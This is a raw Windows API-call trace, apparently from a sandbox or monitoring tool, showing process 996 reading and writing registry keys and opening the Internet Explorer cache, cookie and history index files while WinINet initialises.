06:38:12,032	996	RegQueryValueExA	Handle => 0x00000188 DataLength => 37 ValueName => History Type => 2	SUCCESS	0x00000000
06:38:12,032	996	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
06:38:12,032	996	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => Content	SUCCESS	0x00000000
06:38:12,032	996	RegQueryValueExA	Handle => 0x00000188 DataLength => 4 ValueName => PerUserItem Type => 392	FAILURE	0x00000002
06:38:12,032	996	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x00000178 SubKey => Content	SUCCESS	0x00000000
06:38:12,032	996	RegQueryValueExA	Handle => 0x0000018c Data => 1 ValueName => PerUserItem	SUCCESS	0x00000000
06:38:12,032	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,032	996	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
06:38:12,032	996	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => Content	SUCCESS	0x00000000
06:38:12,032	996	LdrLoadDll	Flags => 520312 BaseAddress => 0x7c9c0000 FileName => shell32.dll	SUCCESS	0x00000000
06:38:12,032	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => SHGetFolderPathA FunctionAddress => 0x7ca2ac11 ModuleHandle => 0x7c9c0000	SUCCESS	0x00000000
06:38:12,032	996	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
06:38:12,032	996	RegQueryValueExW	Handle => 0x0000018c Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00e\x00m\x00p\x00o\x00r\x00a\x00r\x00y\x00 \x00I\x00n\x00t\x00e\x00r\x00n\x00e\x00t\x00 \x00F\x00i\x00l\x00e\x00s\x00\x00\x00 ValueName => Cache	SUCCESS	0x00000000
06:38:12,042	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,042	996	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
06:38:12,042	996	RegSetValueExW	Handle => 0x0000018c Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00e\x00m\x00p\x00o\x00r\x00a\x00r\x00y\x00 \x00I\x00n\x00t\x00e\x00r\x00n\x00e\x00t\x00 \x00F\x00i\x00l\x00e\x00s\x00\x00\x00 ValueName => Cache Type => 1	SUCCESS	0x00000000
06:38:12,042	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,042	996	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files DesiredAccess => 0x00100100 FileHandle => 0x0000018c	SUCCESS	0x00000000
06:38:12,042	996	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
06:38:12,042	996	RegQueryValueExA	Handle => 0x00000188 Data => \x00 ValueName => CachePrefix	SUCCESS	0x00000000
06:38:12,042	996	RegQueryValueExA	Handle => 0x00000188 Data => 327323 ValueName => CacheLimit	SUCCESS	0x00000000
06:38:12,042	996	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache	SUCCESS	0x00000000
06:38:12,042	996	RegOpenKeyExA	Handle => 0x00000190 Registry => 0x0000018c SubKey => Paths	SUCCESS	0x00000000
06:38:12,042	996	RegOpenKeyExA	Handle => 0x00000194 Registry => 0x00000190 SubKey => Path1	SUCCESS	0x00000000
06:38:12,042	996	RegOpenKeyExA	Handle => 0x00000198 Registry => 0x00000190 SubKey => Path2	SUCCESS	0x00000000
06:38:12,042	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x00000190 SubKey => Path3	SUCCESS	0x00000000
06:38:12,042	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x00000190 SubKey => Path4	SUCCESS	0x00000000
06:38:12,042	996	RegOpenKeyExA	Handle => 0x000001a4 Registry => 0x0000018c SubKey => Special Paths	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x00000190 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\x00 ValueName => Directory Type => 1	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x00000190 Buffer => 4 ValueName => Paths Type => 4	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x00000194 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache1\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x00000198 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache2\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x0000019c Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache3\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x000001a0 Buffer => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\Cache4\x00 ValueName => CachePath Type => 1	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x00000194 Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x00000198 Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x0000019c Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
06:38:12,072	996	RegSetValueExA	Handle => 0x000001a0 Buffer => 81830 ValueName => CacheLimit Type => 4	SUCCESS	0x00000000
06:38:12,072	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,072	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,072	996	RegCloseKey	Handle => 0x00000198	SUCCESS	0x00000000
06:38:12,072	996	RegCloseKey	Handle => 0x00000194	SUCCESS	0x00000000
06:38:12,072	996	RegCloseKey	Handle => 0x00000190	SUCCESS	0x00000000
06:38:12,072	996	RegCloseKey	Handle => 0x000001a4	SUCCESS	0x00000000
06:38:12,072	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,072	996	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x00000180 SubKey => Cookies	SUCCESS	0x00000000
06:38:12,072	996	RegQueryValueExA	Handle => 0x0000018c DataLength => 4 ValueName => PerUserItem Type => 396	FAILURE	0x00000002
06:38:12,072	996	RegOpenKeyExA	Handle => 0x000001a4 Registry => 0x00000178 SubKey => Cookies	SUCCESS	0x00000000
06:38:12,082	996	RegQueryValueExA	Handle => 0x000001a4 Data => 1 ValueName => PerUserItem	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x000001a4	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
06:38:12,082	996	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => Cookies	SUCCESS	0x00000000
06:38:12,082	996	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
06:38:12,082	996	RegQueryValueExW	Handle => 0x0000018c Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00C\x00o\x00o\x00k\x00i\x00e\x00s\x00\x00\x00 ValueName => Cookies	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,082	996	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
06:38:12,082	996	RegSetValueExW	Handle => 0x0000018c Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00C\x00o\x00o\x00k\x00i\x00e\x00s\x00\x00\x00 ValueName => Cookies Type => 1	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,082	996	RegQueryValueExA	Handle => 0x00000188 Data => Cookie:\x00 ValueName => CachePrefix	SUCCESS	0x00000000
06:38:12,082	996	RegQueryValueExA	Handle => 0x00000188 Data => 8192 ValueName => CacheLimit	SUCCESS	0x00000000
06:38:12,082	996	RegOpenKeyExA	Handle => 0x0000018c Registry => 0x00000180 SubKey => History	SUCCESS	0x00000000
06:38:12,082	996	RegQueryValueExA	Handle => 0x0000018c DataLength => 4 ValueName => PerUserItem Type => 396	FAILURE	0x00000002
06:38:12,082	996	RegOpenKeyExA	Handle => 0x000001a4 Registry => 0x00000178 SubKey => History	SUCCESS	0x00000000
06:38:12,082	996	RegQueryValueExA	Handle => 0x000001a4 Data => 1 ValueName => PerUserItem	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x000001a4	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,082	996	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
06:38:12,092	996	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x00000180 SubKey => History	SUCCESS	0x00000000
06:38:12,092	996	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
06:38:12,092	996	RegQueryValueExW	Handle => 0x0000018c Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00H\x00i\x00s\x00t\x00o\x00r\x00y\x00\x00\x00 ValueName => History	SUCCESS	0x00000000
06:38:12,092	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,092	996	RegCreateKeyExW	Handle => 0x0000018c Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
06:38:12,092	996	RegSetValueExW	Handle => 0x0000018c Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00H\x00i\x00s\x00t\x00o\x00r\x00y\x00\x00\x00 ValueName => History Type => 1	SUCCESS	0x00000000
06:38:12,092	996	RegCloseKey	Handle => 0x0000018c	SUCCESS	0x00000000
06:38:12,092	996	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\History DesiredAccess => 0x00100100 FileHandle => 0x0000018c	SUCCESS	0x00000000
06:38:12,092	996	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
06:38:12,092	996	RegQueryValueExA	Handle => 0x00000188 Data => Visited:\x00 ValueName => CachePrefix	SUCCESS	0x00000000
06:38:12,092	996	RegQueryValueExA	Handle => 0x00000188 Data => 8192 ValueName => CacheLimit	SUCCESS	0x00000000
06:38:12,092	996	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
06:38:12,102	996	RegCloseKey	Handle => 0x00000184	SUCCESS	0x00000000
06:38:12,102	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:38:12,102	996	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
06:38:12,102	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:38:12,102	996	NtOpenMutant	Handle => 0x00000178 MutexName => _!MSFTHISTORY!_	SUCCESS	0x00000000
06:38:12,102	996	NtOpenMutant	Handle => 0x00000180 MutexName => c:!documents and settings!tdw!local settings!temporary internet files!content.ie5!	SUCCESS	0x00000000
06:38:12,102	996	LdrGetDllHandle	ModuleHandle => 0x7c800000 FileName => KERNEL32	SUCCESS	0x00000000
06:38:12,102	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => GetDiskFreeSpaceExA FunctionAddress => 0x7c83038b ModuleHandle => 0x7c800000	SUCCESS	0x00000000
06:38:12,102	996	NtOpenFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\ DesiredAccess => 0x00100001 FileHandle => 0x0000017c	SUCCESS	0x00000000
06:38:12,102	996	NtOpenFile	ShareAccess => 3 FileName => C:\ DesiredAccess => 0x00100001 FileHandle => 0x0000017c	SUCCESS	0x00000000
06:38:12,102	996	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x0000017c	SUCCESS	0x00000000
06:38:12,102	996	NtSetInformationFile	FileHandle => 0x0000017c FileInformation =>	SUCCESS	0x00000000
06:38:12,102	996	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000017c	SUCCESS	0x00000000
06:38:12,102	996	NtSetInformationFile	FileHandle => 0x0000017c FileInformation =>	SUCCESS	0x00000000
06:38:12,102	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,102	996	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000017c	SUCCESS	0x00000000
06:38:12,102	996	NtOpenSection	DesiredAccess => 0x00000002 ObjectAttributes => C:\ntdll SectionHandle => 0x00000184	SUCCESS	0x00000000
06:38:12,102	996	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x00000184 ProcessHandle => 0xffffffff BaseAddress => 0x00f50000	SUCCESS	0x00000000
06:38:12,102	996	NtOpenMutant	Handle => 0x00000188 MutexName => c:!documents and settings!tdw!cookies!	SUCCESS	0x00000000
06:38:12,112	996	NtOpenFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Cookies\ DesiredAccess => 0x00100001 FileHandle => 0x0000018c	SUCCESS	0x00000000
06:38:12,112	996	NtOpenFile	ShareAccess => 3 FileName => C:\ DesiredAccess => 0x00100001 FileHandle => 0x0000018c	SUCCESS	0x00000000
06:38:12,112	996	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Cookies\ DesiredAccess => 0x00100100 FileHandle => 0x0000018c	SUCCESS	0x00000000
06:38:12,112	996	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
06:38:12,112	996	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Cookies\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000018c	SUCCESS	0x00000000
06:38:12,112	996	NtSetInformationFile	FileHandle => 0x0000018c FileInformation =>	SUCCESS	0x00000000
06:38:12,112	996	NtQueryInformationFile	FileHandle => 0x0000018c FileInformation => \x00\x80\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,112	996	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Cookies\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x0000018c	SUCCESS	0x00000000
06:38:12,112	996	NtOpenSection	DesiredAccess => 0x00000002 ObjectAttributes => C:\C:_Documents and Settings_TDW_Cookies_index.dat_32768 SectionHandle => 0x000001a4	SUCCESS	0x00000000
06:38:12,112	996	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x000001a4 ProcessHandle => 0xffffffff BaseAddress => 0x002a0000	SUCCESS	0x00000000
06:38:12,112	996	NtOpenMutant	Handle => 0x00000190 MutexName => c:!documents and settings!tdw!local settings!history!history.ie5!	SUCCESS	0x00000000
06:38:12,112	996	NtOpenFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\ DesiredAccess => 0x00100001 FileHandle => 0x00000194	SUCCESS	0x00000000
06:38:12,112	996	NtOpenFile	ShareAccess => 3 FileName => C:\ DesiredAccess => 0x00100001 FileHandle => 0x00000194	SUCCESS	0x00000000
06:38:12,112	996	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x00000194	SUCCESS	0x00000000
06:38:12,122	996	NtSetInformationFile	FileHandle => 0x00000194 FileInformation =>	SUCCESS	0x00000000
06:38:12,122	996	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x00000194	SUCCESS	0x00000000
06:38:12,122	996	NtSetInformationFile	FileHandle => 0x00000194 FileInformation =>	SUCCESS	0x00000000
06:38:12,122	996	NtQueryInformationFile	FileHandle => 0x00000194 FileInformation => \x00\x80\x00\x00\x00\x00\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,122	996	NtCreateFile	ShareAccess => 3 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\index.dat DesiredAccess => 0xc0100080 CreateDisposition => 3 FileHandle => 0x00000194	SUCCESS	0x00000000
06:38:12,122	996	NtOpenSection	DesiredAccess => 0x00000002 ObjectAttributes => C:\C:_Documents and Settings_TDW_Local Settings_History_History.IE5_index.dat_32768 SectionHandle => 0x00000198	SUCCESS	0x00000000
06:38:12,122	996	ZwMapViewOfSection	SectionOffset => 0x0007f6a4 SectionHandle => 0x00000198 ProcessHandle => 0xffffffff BaseAddress => 0x00f90000	SUCCESS	0x00000000
06:38:12,122	996	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\Temporary Internet Files\Content.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x0000019c	SUCCESS	0x00000000
06:38:12,122	996	NtSetInformationFile	FileHandle => 0x0000019c FileInformation =>	SUCCESS	0x00000000
06:38:12,122	996	NtOpenFile	ShareAccess => 7 FileName => C:\Documents and Settings\TDW\Local Settings\History\History.IE5\ DesiredAccess => 0x00100100 FileHandle => 0x0000019c	SUCCESS	0x00000000
06:38:12,122	996	NtSetInformationFile	FileHandle => 0x0000019c FileInformation =>	SUCCESS	0x00000000
06:38:12,122	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000
06:38:12,122	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,132	996	RegOpenKeyExA	Handle => 0x000001a0 Registry => 0x0000019c SubKey => Extensible Cache	SUCCESS	0x00000000
06:38:12,132	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,132	996	RegEnumKeyExA	Index => 0 Handle => 0x000001a0 Name => MSHist012014062620140627 Class =>	SUCCESS	0x00000000
06:38:12,132	996	RegOpenKeyExA	Handle => 0x0000019c Registry => 0x000001a0 SubKey => MSHist012014062620140627	SUCCESS	0x00000000
06:38:12,132	996	RegQueryValueExA	Handle => 0x0000019c Data => 0 ValueName => CacheRepair	SUCCESS	0x00000000
06:38:12,132	996	RegQueryValueExA	Handle => 0x0000019c Data => %USERPROFILE%\Local Settings\History\History.IE5\MSHist012014062620140627\\x00 ValueName => CachePath	SUCCESS	0x00000000
06:38:12,132	996	RegQueryValueExA	Handle => 0x0000019c Data => :2014062620140627: \x00 ValueName => CachePrefix	SUCCESS	0x00000000
06:38:12,132	996	RegQueryValueExA	Handle => 0x0000019c Data => 8192 ValueName => CacheLimit	SUCCESS	0x00000000
06:38:12,132	996	RegQueryValueExA	Handle => 0x0000019c Data => 11 ValueName => CacheOptions	SUCCESS	0x00000000
06:38:12,132	996	RegCloseKey	Handle => 0x0000019c	SUCCESS	0x00000000
06:38:12,132	996	RegEnumKeyExA	Index => 1 Handle => 0x000001a0 Name => MSHist012014062620140627 Class =>	FAILURE	0x00000103
06:38:12,132	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,132	996	NtQueryInformationFile	FileHandle => 0x0000017c FileInformation => \x00\xc0\x03\x00\x00\x00\x00\x00\x00\xc0\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00	SUCCESS	0x00000000	1 time
06:38:12,132	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
06:38:12,132	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,132	996	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,132	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,132	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,132	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,142	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,142	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,142	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_AUTOPROXY_CACHE_ANAME_KB921400	FAILURE	0x00000002
06:38:12,142	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,142	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,142	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,142	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002	2 times
06:38:12,142	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,142	996	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,142	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,142	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,142	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,142	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,142	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,142	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_TEMPORARYFILES_FOR_NOCACHE_840387	FAILURE	0x00000002
06:38:12,142	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,152	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,152	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,152	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,152	996	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,152	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,152	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,152	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,152	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,152	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,152	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => FEATURE_TEMPORARYFILES_FOR_NOCACHE_840386	FAILURE	0x00000002
06:38:12,152	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,152	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,152	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,152	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,152	996	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521880	FAILURE	0x00000002
06:38:12,152	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,152	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,152	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,152	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:12,162	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,162	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x000001a0 SubKey => RETRY_HEADERONLYPOST_ONCONNECTIONRESET	FAILURE	0x00000002
06:38:12,162	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006	1 time
06:38:12,162	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,162	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:12,162	996	RegOpenKeyExW	Handle => 0x000001a0 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:12,162	996	RegQueryValueExW	Handle => 0x000001a0 DataLength => 4 ValueName => Security_HKLM_only Type => 521884	FAILURE	0x00000002
06:38:12,162	996	RegCloseKey	Handle => 0x000001a0	SUCCESS	0x00000000
06:38:12,162	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:12,162	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
